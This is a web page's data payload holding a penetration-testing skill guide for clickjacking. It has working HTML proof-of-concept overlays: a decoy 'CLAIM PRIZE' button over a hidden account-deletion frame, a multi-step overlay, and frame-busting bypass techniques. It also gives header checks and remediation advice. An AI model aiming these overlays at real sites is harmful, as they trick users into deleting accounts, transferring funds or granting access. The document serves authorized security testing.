[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EPQZK4ETRMSR1HS5TCX4QA":3,"skill-same:01M7EPQZK4ETRMSR1HS5TCX4QA":79},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":54,"repositoryHtmlUrl":55,"repositoryHomepageUrl":6,"ownerHtmlUrl":56,"ownerBlogUrl":6,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M7EPQZK4ETRMSR1HS5TCX4QA","performing-clickjacking-attack-test",null,"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-clickjacking-attack-test\ndescription: Testing web applications for clickjacking vulnerabilities by assessing\n  frame embedding controls and crafting proof-of-concept overlay attacks during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- clickjacking\n- ui-redressing\n- web-security\n- owasp\n- x-frame-options\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0035\nnist_ai_rmf:\n- MEASURE-2.8\n- MAP-5.1\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n","# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| 